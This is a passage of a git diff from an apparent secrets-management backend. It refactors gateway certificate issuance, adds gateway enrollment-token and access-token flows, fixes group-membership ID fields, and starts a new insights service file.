+    const gatewayServerCertIssuedAt = new Date();
+    const gatewayServerCertExpireAt = new Date(new Date().setDate(new Date().getDate() + 1));
+    const gatewayServerCertPrivateKey = crypto.nativeCrypto.KeyObject.from(gatewayServerKeys.privateKey);
+
+    const gatewayServerCertExtensions: x509.Extension[] = [
+      new x509.BasicConstraintsExtension(false),
+      await x509.AuthorityKeyIdentifierExtension.create(gatewayServerCaCert, false),
+      await x509.SubjectKeyIdentifierExtension.create(gatewayServerKeys.publicKey),
+      new x509.CertificatePolicyExtension(["2.5.29.32.0"]), // anyPolicy
+      new x509.KeyUsagesExtension(
+        // eslint-disable-next-line no-bitwise
+        x509.KeyUsageFlags[CertKeyUsage.DIGITAL_SIGNATURE] | x509.KeyUsageFlags[CertKeyUsage.KEY_ENCIPHERMENT],
+        true
+      ),
+      new x509.ExtendedKeyUsageExtension([x509.ExtendedKeyUsage[CertExtendedKeyUsage.SERVER_AUTH]], true),
+      new x509.SubjectAlternativeNameExtension([
+        { type: "dns", value: "localhost" },
+        { type: "ip", value: "127.0.0.1" },
+        { type: "ip", value: "::1" }
+      ])
+    ];
+
+    const gatewayServerSerialNumber = createSerialNumber();
+    const gatewayServerCertificate = await x509.X509CertificateGenerator.create({
+      serialNumber: gatewayServerSerialNumber,
+      subject: `O=${orgId},CN=Gateway`,
+      issuer: gatewayServerCaCert.subject,
+      notBefore: gatewayServerCertIssuedAt,
+      notAfter: gatewayServerCertExpireAt,
+      signingKey: gatewayServerCaPrivateKey,
+      publicKey: gatewayServerKeys.publicKey,
+      signingAlgorithm: alg,
+      extensions: gatewayServerCertExtensions
+    });
+
+    const relayCredentials = await relayService.getCredentialsForGateway({
+      relayName,
+      orgId,
+      gatewayId: gateway.id,
+      gatewayName: gateway.name
+    });
+
+    return {
+      gatewayId: gateway.id,
+      relayHost: relayCredentials.relayHost,
+      pki: {
+        serverCertificate: gatewayServerCertificate.toString("pem"),
+        serverPrivateKey: gatewayServerCertPrivateKey.export({ format: "pem", type: "pkcs8" }).toString(),
+        clientCertificateChain: constructPemChainFromCerts([gatewayClientCaCert, rootGatewayCaCert])
+      },
+      ssh: {
+        clientCertificate: relayCredentials.clientSshCert,
+        clientPrivateKey: relayCredentials.clientSshPrivateKey,
+        serverCAPublicKey: relayCredentials.serverCAPublicKey
+      }
+    };
+  };
+
   const registerGateway = async ({
     orgId,
     actorId,
+    actorType,
     actorAuthMethod,
     relayName,
     name
   }: {
     orgId: string;
     actorId: string;
+    actorType: ActorType;
     actorAuthMethod: ActorAuthMethod;
-    relayName: string;
-    name: string;
+    relayName?: string;
+    name?: string;
   }) => {
-    await $validateIdentityAccessToGateway(orgId, actorId, actorAuthMethod);
     const orgCAs = await $getOrgCAs(orgId);
 
-    let relay: TRelays = await relayDAL.findOne({ orgId, name: relayName });
-    if (!relay) {
-      relay = await relayDAL.findOne({ name: relayName, orgId: null });
+    // Enrollment-flow gateways authenticate with GATEWAY_ACCESS_TOKEN — the gateway row
+    // already exists, so we just look it up and issue fresh certs using its stored relay.
+    if (actorType === ActorType.GATEWAY) {
+      const gateway = await gatewayV2DAL.findById(actorId);
+      if (!gateway || gateway.orgId !== orgId) {
+        throw new NotFoundError({ message: `Gateway ${actorId} not found` });
+      }
+
+      let resolvedRelay: TRelays | undefined;
+      if (relayName) {
+        resolvedRelay = await relayDAL.findOne({ orgId, name: relayName });
+        if (!resolvedRelay) resolvedRelay = await relayDAL.findOne({ name: relayName, orgId: null });
+        if (!resolvedRelay) throw new NotFoundError({ message: `Relay ${relayName} not found` });
+
+        if (resolvedRelay.id !== gateway.relayId) {
+          await gatewayV2DAL.updateById(gateway.id, { relayId: resolvedRelay.id });
+        }
+      } else {
+        if (!gateway.relayId) throw new NotFoundError({ message: "No relay associated with this gateway" });
+        resolvedRelay = await relayDAL.findById(gateway.relayId);
+        if (!resolvedRelay) throw new NotFoundError({ message: "No relay associated with this gateway" });
+      }
+
+      return $issueGatewayCerts({ orgId, orgCAs, relayName: resolvedRelay.name, gateway });
+    }
+
+    // Identity-based flow: upsert the gateway row then issue certs.
+    await $validateIdentityAccessToGateway(orgId, actorId, actorAuthMethod);
+
+    if (!name) {
+      throw new BadRequestError({ message: "Gateway name is required" });
     }
 
-    if (!relay) {
-      throw new NotFoundError({ message: `Relay ${relayName} not found` });
+    if (!relayName) {
+      throw new BadRequestError({ message: "Relay name is required" });
     }
 
+    let relay: TRelays = await relayDAL.findOne({ orgId, name: relayName });
+    if (!relay) relay = await relayDAL.findOne({ name: relayName, orgId: null });
+    if (!relay) throw new NotFoundError({ message: `Relay ${relayName} not found` });
+
     try {
       const [gateway] = await gatewayV2DAL.upsert(
         [
@@ -686,84 +841,10 @@ export const gatewayV2ServiceFactory = ({
         ["identityId"]
       );
 
-      const alg = keyAlgorithmToAlgCfg(CertKeyAlgorithm.RSA_2048);
-      const gatewayServerCaCert = new x509.X509Certificate(orgCAs.gatewayServerCaCertificate);
-      const rootGatewayCaCert = new x509.X509Certificate(orgCAs.rootGatewayCaCertificate);
-      const gatewayClientCaCert = new x509.X509Certificate(orgCAs.gatewayClientCaCertificate);
-
-      const gatewayServerCaSkObj = crypto.nativeCrypto.createPrivateKey({
-        key: orgCAs.gatewayServerCaPrivateKey,
-        format: "der",
-        type: "pkcs8"
-      });
-      const gatewayServerCaPrivateKey = await crypto.nativeCrypto.subtle.importKey(
-        "pkcs8",
-        gatewayServerCaSkObj.export({ format: "der", type: "pkcs8" }),
-        alg,
-        true,
-        ["sign"]
-      );
-
-      const gatewayServerKeys = await crypto.nativeCrypto.subtle.generateKey(alg, true, ["sign", "verify"]);
-      const gatewayServerCertIssuedAt = new Date();
-      const gatewayServerCertExpireAt = new Date(new Date().setDate(new Date().getDate() + 1));
-      const gatewayServerCertPrivateKey = crypto.nativeCrypto.KeyObject.from(gatewayServerKeys.privateKey);
-
-      const gatewayServerCertExtensions: x509.Extension[] = [
-        new x509.BasicConstraintsExtension(false),
-        await x509.AuthorityKeyIdentifierExtension.create(gatewayServerCaCert, false),
-        await x509.SubjectKeyIdentifierExtension.create(gatewayServerKeys.publicKey),
-        new x509.CertificatePolicyExtension(["2.5.29.32.0"]), // anyPolicy
-        new x509.KeyUsagesExtension(
-          // eslint-disable-next-line no-bitwise
-          x509.KeyUsageFlags[CertKeyUsage.DIGITAL_SIGNATURE] | x509.KeyUsageFlags[CertKeyUsage.KEY_ENCIPHERMENT],
-          true
-        ),
-        new x509.ExtendedKeyUsageExtension([x509.ExtendedKeyUsage[CertExtendedKeyUsage.SERVER_AUTH]], true),
-        new x509.SubjectAlternativeNameExtension([
-          { type: "dns", value: "localhost" },
-          { type: "ip", value: "127.0.0.1" },
-          { type: "ip", value: "::1" }
-        ])
-      ];
-
-      const gatewayServerSerialNumber = createSerialNumber();
-      const gatewayServerCertificate = await x509.X509CertificateGenerator.create({
-        serialNumber: gatewayServerSerialNumber,
-        subject: `O=${orgId},CN=Gateway`,
-        issuer: gatewayServerCaCert.subject,
-        notBefore: gatewayServerCertIssuedAt,
-        notAfter: gatewayServerCertExpireAt,
-        signingKey: gatewayServerCaPrivateKey,
-        publicKey: gatewayServerKeys.publicKey,
-        signingAlgorithm: alg,
-        extensions: gatewayServerCertExtensions
-      });
-
-      const relayCredentials = await relayService.getCredentialsForGateway({
-        relayName,
-        orgId,
-        gatewayId: gateway.id,
-        gatewayName: gateway.name
-      });
-
-      return {
-        gatewayId: gateway.id,
-        relayHost: relayCredentials.relayHost,
-        pki: {
-          serverCertificate: gatewayServerCertificate.toString("pem"),
-          serverPrivateKey: gatewayServerCertPrivateKey.export({ format: "pem", type: "pkcs8" }).toString(),
-          clientCertificateChain: constructPemChainFromCerts([gatewayClientCaCert, rootGatewayCaCert])
-        },
-        ssh: {
-          clientCertificate: relayCredentials.clientSshCert,
-          clientPrivateKey: relayCredentials.clientSshPrivateKey,
-          serverCAPublicKey: relayCredentials.serverCAPublicKey
-        }
-      };
+      return await $issueGatewayCerts({ orgId, orgCAs, relayName, gateway });
     } catch (err) {
       if (err instanceof DatabaseError && (err.error as { code: string })?.code === DatabaseErrorCode.UniqueViolation) {
-        throw new BadRequestError({ message: `Gateway with name "${name}" already exists` });
+        throw new BadRequestError({ message: "A gateway with this name already exists" });
       }
 
       throw err;
@@ -888,6 +969,15 @@ export const gatewayV2ServiceFactory = ({
   };
 
   const heartbeat = async ({ orgPermission }: { orgPermission: OrgServiceActor }) => {
+    if (orgPermission.type === ActorType.GATEWAY) {
+      const gateway = await gatewayV2DAL.findById(orgPermission.id);
+      if (!gateway || gateway.orgId !== orgPermission.orgId) {
+        throw new NotFoundError({ message: `Gateway ${orgPermission.id} not found.` });
+      }
+      await $checkGatewayHealth(gateway.id);
+      return;
+    }
+
     await $validateIdentityAccessToGateway(orgPermission.orgId, orgPermission.id, orgPermission.authMethod);
 
     const gateway = await gatewayV2DAL.findOne({
@@ -939,25 +1029,26 @@ export const gatewayV2ServiceFactory = ({
   };
 
   const getPamSessionKey = async ({ orgPermission }: { orgPermission: OrgServiceActor }) => {
-    const { permission } = await permissionService.getOrgPermission({
-      actor: orgPermission.type,
-      actorId: orgPermission.id,
-      orgId: orgPermission.orgId,
-      actorAuthMethod: orgPermission.authMethod,
-      actorOrgId: orgPermission.orgId,
-      scope: OrganizationActionScope.Any
-    });
+    // Gateway actors are already authenticated via GATEWAY_ACCESS_TOKEN JWT — skip org permission check.
+    if (orgPermission.type !== ActorType.GATEWAY) {
+      const { permission } = await permissionService.getOrgPermission({
+        actor: orgPermission.type,
+        actorId: orgPermission.id,
+        orgId: orgPermission.orgId,
+        actorAuthMethod: orgPermission.authMethod,
+        actorOrgId: orgPermission.orgId,
+        scope: OrganizationActionScope.Any
+      });
 
-    ForbiddenError.from(permission).throwUnlessCan(
-      OrgPermissionGatewayActions.CreateGateways,
-      OrgPermissionSubjects.Gateway
-    );
+      ForbiddenError.from(permission).throwUnlessCan(
+        OrgPermissionGatewayActions.CreateGateways,
+        OrgPermissionSubjects.Gateway
+      );
+    }
 
     return gatewayV2DAL.transaction(async (tx) => {
       const gateway = await gatewayV2DAL.findOne(
-        {
-          identityId: orgPermission.id
-        },
+        orgPermission.type === ActorType.GATEWAY ? { id: orgPermission.id } : { identityId: orgPermission.id },
         tx
       );
 
@@ -1098,6 +1189,224 @@ export const gatewayV2ServiceFactory = ({
     };
   };
 
+  const getGatewayById = async ({ gatewayId }: { gatewayId: string }) => {
+    const gateway = await gatewayV2DAL.findById(gatewayId);
+    if (!gateway) {
+      throw new NotFoundError({ message: `Gateway ${gatewayId} not found` });
+    }
+    return gateway;
+  };
+
+  // --- V3 service methods ---
+
+  const createGateway = async ({
+    orgId,
+    actorId,
+    actorType,
+    actorAuthMethod,
+    name
+  }: {
+    orgId: string;
+    actorId: string;
+    actorType: ActorType;
+    actorAuthMethod: ActorAuthMethod;
+    name: string;
+  }) => {
+    const { permission } = await permissionService.getOrgPermission({
+      actor: actorType,
+      actorId,
+      orgId,
+      actorAuthMethod,
+      actorOrgId: orgId,
+      scope: OrganizationActionScope.Any
+    });
+
+    ForbiddenError.from(permission).throwUnlessCan(
+      OrgPermissionGatewayActions.CreateGateways,
+      OrgPermissionSubjects.Gateway
+    );
+
+    const gateway = await gatewayV2DAL.transaction(async (tx) => {
+      // eslint-disable-next-line @typescript-eslint/no-unsafe-call
+      await tx.raw("SELECT pg_advisory_xact_lock(?)", [PgSqlLock.CreateGateway(orgId)]);
+
+      // eslint-disable-next-line @typescript-eslint/no-unsafe-call, @typescript-eslint/no-unsafe-assignment
+      const existingGatewayCount = await gatewayV2DAL.countByOrgId(orgId, tx);
+      if (existingGatewayCount >= MAX_GATEWAYS_PER_ORG) {
+        throw new BadRequestError({
+          message: `Organization has reached the maximum limit of ${MAX_GATEWAYS_PER_ORG} gateways`
+        });
+      }
+
+      try {
+        return await gatewayV2DAL.create({ orgId, name }, tx);
+      } catch (err) {
+        if (
+          err instanceof DatabaseError &&
+          (err.error as { code: string })?.code === DatabaseErrorCode.UniqueViolation
+        ) {
+          throw new BadRequestError({ message: `A gateway named "${name}" already exists` });
+        }
+        throw err;
+      }
+    });
+
+    return gateway;
+  };
+
+  const configureTokenAuth = async ({
+    orgPermission,
+    gatewayId
+  }: {
+    orgPermission: OrgServiceActor;
+    gatewayId: string;
+  }) => {
+    const { permission } = await permissionService.getOrgPermission({
+      actor: orgPermission.type,
+      actorId: orgPermission.id,
+      orgId: orgPermission.orgId,
+      actorAuthMethod: orgPermission.authMethod,
+      actorOrgId: orgPermission.orgId,
+      scope: OrganizationActionScope.Any
+    });
+
+    ForbiddenError.from(permission).throwUnlessCan(
+      OrgPermissionGatewayActions.EditGateways,
+      OrgPermissionSubjects.Gateway
+    );
+
+    const gateway = await gatewayV2DAL.findById(gatewayId);
+    if (!gateway || gateway.orgId !== orgPermission.orgId) {
+      throw new NotFoundError({ message: `Gateway ${gatewayId} not found` });
+    }
+
+    if (gateway.identityId) {
+      throw new BadRequestError({ message: "Cannot configure token auth for identity-based gateways" });
+    }
+
+    const gatewayToken = $generateEnrollmentToken();
+
+    const record = await gatewayEnrollmentTokenDAL.transaction(async (tx) => {
+      // Delete any existing unused enrollment tokens for this gateway
+      const existingTokens = await gatewayEnrollmentTokenDAL.find({ gatewayId }, { tx });
+      const unusedTokenIds = existingTokens.filter((t) => !t.usedAt).map((t) => t.id);
+      if (unusedTokenIds.length > 0) {
+        await gatewayEnrollmentTokenDAL.delete({ $in: { id: unusedTokenIds } }, tx);
+      }
+
+      return gatewayEnrollmentTokenDAL.create(
+        {
+          orgId: orgPermission.orgId,
+          tokenHash: gatewayToken.tokenHash,
+          ttl: ENROLLMENT_TOKEN_TTL_SECONDS,
+          expiresAt: gatewayToken.expiresAt,
+          gatewayId
+        },
+        tx
+      );
+    });
+
+    return { ...record, token: gatewayToken.plainToken, gatewayName: gateway.name };
+  };
+
+  const connectGateway = async ({
+    orgId,
+    actorId,
+    actorType,
+    relayName
+  }: {
+    orgId: string;
+    actorId: string;
+    actorType: ActorType;
+    relayName?: string;
+  }) => {
+    const orgCAs = await $getOrgCAs(orgId);
+
+    if (actorType === ActorType.GATEWAY) {
+      const gateway = await gatewayV2DAL.findById(actorId);
+      if (!gateway || gateway.orgId !== orgId) {
+        throw new NotFoundError({ message: `Gateway ${actorId} not found` });
+      }
+
+      let resolvedRelay: TRelays | undefined;
+      if (relayName) {
+        resolvedRelay = await relayDAL.findOne({ orgId, name: relayName });
+        if (!resolvedRelay) resolvedRelay = await relayDAL.findOne({ name: relayName, orgId: null });
+        if (!resolvedRelay) throw new NotFoundError({ message: `Relay ${relayName} not found` });
+
+        // Persist the relay change so future restarts use the new relay
+        if (resolvedRelay.id !== gateway.relayId) {
+          await gatewayV2DAL.updateById(gateway.id, { relayId: resolvedRelay.id });
+        }
+      } else {
+        if (!gateway.relayId) throw new NotFoundError({ message: "No relay associated with this gateway" });
+        resolvedRelay = await relayDAL.findById(gateway.relayId);
+        if (!resolvedRelay) throw new NotFoundError({ message: "No relay associated with this gateway" });
+      }
+
+      return $issueGatewayCerts({ orgId, orgCAs, relayName: resolvedRelay.name, gateway });
+    }
+
+    throw new BadRequestError({ message: "Invalid actor type for gateway connect" });
+  };
+
+  const enrollGateway = async ({ token }: { token: string }) => {
+    const tokenHash = crypto.nativeCrypto.createHash("sha256").update(token).digest("hex");
+
+    const tokenRecord = await gatewayEnrollmentTokenDAL.findOne({ tokenHash });
+    if (!tokenRecord) {
+      throw new BadRequestError({ message: "Invalid enrollment token" });
+    }
+
+    if (tokenRecord.expiresAt < new Date()) {
+      throw new BadRequestError({ message: "Enrollment token has expired" });
+    }
+
+    if (!tokenRecord.gatewayId) {
+      throw new BadRequestError({ message: "Enrollment token is not linked to a gateway" });
+    }
+
+    const { orgId } = tokenRecord;
+
+    // Consume the token and bump tokenVersion in a single transaction.
+    const gateway = await gatewayEnrollmentTokenDAL.transaction(async (tx) => {
+      const rows = await tx(TableName.GatewayEnrollmentTokens)
+        .where({ id: tokenRecord.id })
+        .whereNull("usedAt")
+        .update({ usedAt: new Date() })
+        .returning("*");
+      if (rows.length === 0) {
+        throw new BadRequestError({ message: "Enrollment token has already been used" });
+      }
+
+      const existing = await gatewayV2DAL.findById(tokenRecord.gatewayId!, tx);
+      if (!existing) throw new NotFoundError({ message: `Gateway ${tokenRecord.gatewayId} not found` });
+      return gatewayV2DAL.updateById(
+        existing.id,
+        { $incr: { tokenVersion: 1 }, heartbeat: null, lastHealthCheckStatus: null },
+        tx
+      );
+    });
+
+    const appCfg = getConfig();
+    const accessToken = crypto.jwt().sign(
+      {
+        gatewayId: gateway.id,
+        orgId,
+        authTokenType: AuthTokenType.GATEWAY_ACCESS_TOKEN,
+        tokenVersion: gateway.tokenVersion
+      },
+      appCfg.AUTH_SECRET
+    );
+
+    return {
+      accessToken,
+      gatewayId: gateway.id,
+      gatewayName: gateway.name,
+      orgId
+    };
+  };
+
   return {
     listGateways,
     registerGateway,
@@ -1108,6 +1417,12 @@ export const gatewayV2ServiceFactory = ({
     triggerHeartbeat,
     getPamSessionKey,
     healthcheckNotify,
-    getConnectedResources
+    getConnectedResources,
+    getGatewayById,
+    enrollGateway,
+    // V3
+    createGateway,
+    configureTokenAuth,
+    connectGateway
   };
 };
diff --git a/backend/src/ee/services/gateway/gateway-service.ts b/backend/src/ee/services/gateway/gateway-service.ts
index 54be2e7146f..069d3bfb4fc 100644
--- a/backend/src/ee/services/gateway/gateway-service.ts
+++ b/backend/src/ee/services/gateway/gateway-service.ts
@@ -3,7 +3,7 @@ import * as x509 from "@peculiar/x509";
 import { z } from "zod";
 
 import { OrganizationActionScope } from "@app/db/schemas";
-import { KeyStorePrefixes, PgSqlLock, TKeyStoreFactory } from "@app/keystore/keystore";
+import { KeyStorePrefixes, KeyStoreTtls, PgSqlLock, TKeyStoreFactory } from "@app/keystore/keystore";
 import { getConfig } from "@app/lib/config/env";
 import { crypto } from "@app/lib/crypto/cryptography";
 import { BadRequestError, NotFoundError } from "@app/lib/errors";
@@ -85,8 +85,6 @@ export const gatewayServiceFactory = ({
   };
 
   const getGatewayRelayDetails = async (actorId: string, actorOrgId: string, actorAuthMethod: ActorAuthMethod) => {
-    const TURN_CRED_EXPIRY = 10 * 60; // 10 minutes
-
     const envCfg = getConfig();
     await $validateOrgAccessToGateway(actorOrgId, actorId, actorAuthMethod);
     const { encryptor, decryptor } = await kmsService.createCipherPairWithDataKey({
@@ -114,7 +112,7 @@ export const gatewayServiceFactory = ({
       const el = getTurnCredentials(actorId, envCfg.GATEWAY_RELAY_AUTH_SECRET);
       await keyStore.setItemWithExpiry(
         KeyStorePrefixes.GatewayIdentityCredential(actorId),
-        TURN_CRED_EXPIRY,
+        KeyStoreTtls.GatewayRelayCredentialInSeconds,
         encryptor({
           plainText: Buffer.from(JSON.stringify({ username: el.username, password: el.password }))
         }).cipherTextBlob.toString("hex")
diff --git a/backend/src/ee/services/group/group-fns.ts b/backend/src/ee/services/group/group-fns.ts
index c9d527b59c7..208165c87c2 100644
--- a/backend/src/ee/services/group/group-fns.ts
+++ b/backend/src/ee/services/group/group-fns.ts
@@ -34,7 +34,7 @@ const addAcceptedUsersToGroup = async ({
 
   await userGroupMembershipDAL.insertMany(
     users.map((user) => ({
-      userId: user.userId,
+      userId: user.id,
       groupId: group.id,
       isPending: false
     })),
@@ -82,7 +82,7 @@ const addAcceptedUsersToGroup = async ({
       continue;
     }
 
-    const usersToAddProjectKeyFor = users.filter((u) => !userKeysSet.has(`${projectId}-${u.userId}`));
+    const usersToAddProjectKeyFor = users.filter((u) => !userKeysSet.has(`${projectId}-${u.id}`));
 
     if (usersToAddProjectKeyFor.length) {
       // there are users who need to be shared keys
@@ -149,7 +149,7 @@ const addAcceptedUsersToGroup = async ({
           encryptedKey,
           nonce,
           senderId: ghostUser.id,
-          receiverId: user.userId,
+          receiverId: user.id,
           projectId
         };
       });
diff --git a/backend/src/ee/services/group/group-service.ts b/backend/src/ee/services/group/group-service.ts
index 3b0a2d7539f..c2017f8cfe3 100644
--- a/backend/src/ee/services/group/group-service.ts
+++ b/backend/src/ee/services/group/group-service.ts
@@ -6,6 +6,8 @@ import { AccessScope, OrganizationActionScope, OrgMembershipRole, TGroups, TRole
 import { TOidcConfigDALFactory } from "@app/ee/services/oidc/oidc-config-dal";
 import { BadRequestError, NotFoundError, PermissionBoundaryError, UnauthorizedError } from "@app/lib/errors";
 import { alphaNumericNanoId } from "@app/lib/nanoid";
+import { requestMemoKeys } from "@app/lib/request-context/memo-keys";
+import { requestMemoize } from "@app/lib/request-context/request-memoizer";
 import { TGenericPermission } from "@app/lib/types";
 import { TIdentityDALFactory } from "@app/services/identity/identity-dal";
 import { TMembershipDALFactory } from "@app/services/membership/membership-dal";
@@ -78,10 +80,7 @@ type TGroupServiceFactoryDep = {
   projectDAL: Pick<TProjectDALFactory, "findProjectGhostUser" | "findById">;
   projectBotDAL: Pick<TProjectBotDALFactory, "findOne">;
   projectKeyDAL: Pick<TProjectKeyDALFactory, "find" | "delete" | "findLatestProjectKey" | "insertMany">;
-  permissionService: Pick<
-    TPermissionServiceFactory,
-    "getOrgPermission" | "getOrgPermissionByRoles" | "invalidateProjectPermissionCache"
-  >;
+  permissionService: Pick<TPermissionServiceFactory, "getOrgPermission" | "getOrgPermissionByRoles">;
   licenseService: Pick<TLicenseServiceFactory, "getPlan">;
   oidcConfigDAL: Pick<TOidcConfigDALFactory, "findOne">;
 };
@@ -125,7 +124,9 @@ export const groupServiceFactory = ({
       });
 
     const [rolePermissionDetails] = await permissionService.getOrgPermissionByRoles([role], actorOrgId);
-    const { shouldUseNewPrivilegeSystem } = await orgDAL.findById(actorOrgId);
+    const { shouldUseNewPrivilegeSystem } = await requestMemoize(requestMemoKeys.orgFindById(actorOrgId), () =>
+      orgDAL.findById(actorOrgId)
+    );
     const isCustomRole = Boolean(rolePermissionDetails?.role);
     if (role !== OrgMembershipRole.NoAccess) {
       const permissionBoundary = validatePrivilegeChangeOperation(
@@ -238,7 +239,9 @@ export const groupServiceFactory = ({
     if (role) {
       const [rolePermissionDetails] = await permissionService.getOrgPermissionByRoles([role], actorOrgId);
 
-      const { shouldUseNewPrivilegeSystem } = await orgDAL.findById(actorOrgId);
+      const { shouldUseNewPrivilegeSystem } = await requestMemoize(requestMemoKeys.orgFindById(actorOrgId), () =>
+        orgDAL.findById(actorOrgId)
+      );
       const isCustomRole = Boolean(rolePermissionDetails?.role);
 
       const permissionBoundary = validatePrivilegeChangeOperation(
@@ -883,7 +886,9 @@ export const groupServiceFactory = ({
 
     const groupRoles = groupMembership.roles.map((el) => el.customRoleSlug || el.role);
     const [rolePermissionDetails] = await permissionService.getOrgPermissionByRoles(groupRoles, actorOrgId);
-    const { shouldUseNewPrivilegeSystem } = await orgDAL.findById(actorOrgId);
+    const { shouldUseNewPrivilegeSystem } = await requestMemoize(requestMemoKeys.orgFindById(actorOrgId), () =>
+      orgDAL.findById(actorOrgId)
+    );
 
     // check if user has broader or equal to privileges than group
     const permissionBoundary = validatePrivilegeChangeOperation(
@@ -962,7 +967,9 @@ export const groupServiceFactory = ({
 
     const groupRoles = groupMembership.roles.map((el) => el.customRoleSlug || el.role);
     const [rolePermissionDetails] = await permissionService.getOrgPermissionByRoles(groupRoles, actorOrgId);
-    const { shouldUseNewPrivilegeSystem } = await orgDAL.findById(actorOrgId);
+    const { shouldUseNewPrivilegeSystem } = await requestMemoize(requestMemoKeys.orgFindById(actorOrgId), () =>
+      orgDAL.findById(actorOrgId)
+    );
 
     // check if user has broader or equal to privileges than group
     const permissionBoundary = validatePrivilegeChangeOperation(
@@ -1053,7 +1060,9 @@ export const groupServiceFactory = ({
 
     const groupRoles = groupMembership.roles.map((el) => el.customRoleSlug || el.role);
     const [rolePermissionDetails] = await permissionService.getOrgPermissionByRoles(groupRoles, actorOrgId);
-    const { shouldUseNewPrivilegeSystem } = await orgDAL.findById(actorOrgId);
+    const { shouldUseNewPrivilegeSystem } = await requestMemoize(requestMemoKeys.orgFindById(actorOrgId), () =>
+      orgDAL.findById(actorOrgId)
+    );
 
     // check if user has broader or equal to privileges than group
     const permissionBoundary = validatePrivilegeChangeOperation(
@@ -1130,7 +1139,9 @@ export const groupServiceFactory = ({
 
     const groupRoles = groupMembership.roles.map((el) => el.customRoleSlug || el.role);
     const [rolePermissionDetails] = await permissionService.getOrgPermissionByRoles(groupRoles, actorOrgId);
-    const { shouldUseNewPrivilegeSystem } = await orgDAL.findById(actorOrgId);
+    const { shouldUseNewPrivilegeSystem } = await requestMemoize(requestMemoKeys.orgFindById(actorOrgId), () =>
+      orgDAL.findById(actorOrgId)
+    );
 
     // check if user has broader or equal to privileges than group
     const permissionBoundary = validatePrivilegeChangeOperation(
@@ -1166,7 +1177,8 @@ export const groupServiceFactory = ({
       identityIds: [identityId],
       identityDAL,
       membershipDAL,
-      identityGroupMembershipDAL
+      identityGroupMembershipDAL,
+      membershipGroupDAL
     });
 
     await cleanUpSubOrgProjectMemberships({
diff --git a/backend/src/ee/services/group/group-types.ts b/backend/src/ee/services/group/group-types.ts
index 30ebe121b9b..6c42df5272c 100644
--- a/backend/src/ee/services/group/group-types.ts
+++ b/backend/src/ee/services/group/group-types.ts
@@ -148,6 +148,7 @@ export type TRemoveIdentitiesFromGroup = {
   identityDAL: Pick<TIdentityDALFactory, "find" | "transaction">;
   membershipDAL: Pick<TMembershipDALFactory, "find">;
   identityGroupMembershipDAL: Pick<TIdentityGroupMembershipDALFactory, "find" | "delete">;
+  membershipGroupDAL: Pick<TMembershipGroupDALFactory, "find">;
 };
 
 export type TConvertPendingGroupAdditionsToGroupMemberships = {
diff --git a/backend/src/ee/services/insights/insights-service.ts b/backend/src/ee/services/insights/insights-service.ts
new file mode 100644
index 00000000000..a1071ea1480
--- /dev/null
+++ b/backend/src/ee/services/insights/insights-service.ts
@@ -0,0 +1,498 @@
+import { ForbiddenError } from "@casl/ability";
+
+// import geoip from "geoip-lite";
+import { ActionProjectType, IdentityAuthMethod } from "@app/db/schemas";
+import { TAuditLogDALFactory } from "@app/ee/services/audit-log/audit-log-dal";
+import { EventType } from "@app/ee/services/audit-log/audit-log-types";
+import { TLicenseServiceFactory } from "@app/ee/services/license/license-service";
+import { TPermissionServiceFactory } from "@app/ee/services/permission/permission-service-types";
+import { ProjectPermissionInsightsActions, ProjectPermissionSub } from "@app/ee/services/permission/project-permission";
+import { TSecretRotationV2DALFactory } from "@app/ee/services/secret-rotation-v2/secret-rotation-v2-dal";
+import { KeyStorePrefixes, KeyStoreTtls, TKeyStoreFactory } from "@app/keystore/keystore";
+import { withCache } from "@app/lib/cache/with-cache";
+import { BadRequestError } from "@app/lib/errors";
+import { OrgServiceActor } from "@app/lib/types";
+import { ActorType } from "@app/services/auth/auth-type";
+import { TProjectBotServiceFactory } from "@app/services/project-bot/project-bot-service";
+import { TReminderDALFactory } from "@app/services/reminder/reminder-dal";
+import { TSecretFolderDALFactory } from "@app/services/secret-folder/secret-folder-dal";
+import { TSecretV2BridgeDALFactory } from "@app/services/secret-v2-bridge/secret-v2-bridge-dal";
+import { TUserDALFactory } from "@app/services/user/user-dal";
+
+import {
+  // TGetAccessLocationsDTO,
+  TGetAccessVolumeDTO,
+  TGetAuthMethodDistributionDTO,
+  TGetInsightsCalendarDTO,
+  TGetInsightsSummaryDTO
+} from "./insights-types";
+
+type TInsightsServiceFactoryDep = {
+  permissionService: Pick<TPermissionServiceFactory, "getProjectPermission">;
+  licenseService: Pick<TLicenseServiceFactory, "getPlan">;
+  auditLogDAL: Pick<TAuditLogDALFactory, "countByDateAndActor" | "countByIpAddress" | "countByAuthMethod">;
+  secretRotationV2DAL: Pick<TSecretRotationV2DALFactory, "findByProjectAndDateRange" | "findByProject">;
+  reminderDAL: Pick<TReminderDALFactory, "findByProjectAndDateRange">;
+  folderDAL: Pick<TSecretFolderDALFactory, "findSecretPathByFolderIds">;
+  secretV2BridgeDAL: Pick<TSecretV2BridgeDALFactory, "findStaleByProject" | "countStaleByProject">;
+  projectBotService: Pick<TProjectBotServiceFactory, "getBotKey">;
+  userDAL: Pick<TUserDALFactory, "find">;
+  keyStore: Pick<TKeyStoreFactory, "setItemWithExpiry" | "getItem">;
+};
+
+export type TInsightsServiceFactory = ReturnType<typeof insightsServiceFactory>;
+
+const VALUE_EVENT_TYPES = [
+  EventType.GET_SECRETS,
+  EventType.GET_SECRET,
+  EventType.DASHBOARD_GET_SECRET_VALUE,
+  EventType.DASHBOARD_GET_SECRET_VERSION_VALUE,
+  EventType.GET_SECRET_ROTATION_GENERATED_CREDENTIALS,
+  EventType.CREATE_DYNAMIC_SECRET_LEASE
+];
+
+const checkInsightsPermission = async (
+  permissionService: TInsightsServiceFactoryDep["permissionService"],
+  licenseService: TInsightsServiceFactoryDep["licenseService"],
+  projectId: string,
+  actor: OrgServiceActor
+) => {
+  const plan = await licenseService.getPlan(actor.orgId);
+  if (!plan.secretAccessInsights) {
+    throw new BadRequestError({
+      message: "Failed to access insights due to plan restriction. Upgrade your plan to access insights."
+    });
+  }
+
+  const { permission } = await permissionService.getProjectPermission({
+    actor: actor.type,
+    actorId: actor.id,
+    projectId,
+    actorAuthMethod: actor.authMethod,
+    actorOrgId: actor.orgId,
+    actionProjectType: ActionProjectType.SecretManager
+  });
+
+  ForbiddenError.from(permission).throwUnlessCan(ProjectPermissionInsightsActions.Read, ProjectPermissionSub.Insights);
+};
+
+export const insightsServiceFactory = ({
+  permissionService,
+  licenseService,
+  auditLogDAL,
+  secretRotationV2DAL,
+  reminderDAL,
+  folderDAL,
+  secretV2BridgeDAL,
+  projectBotService,
+  userDAL,
+  keyStore
+}: TInsightsServiceFactoryDep) => {
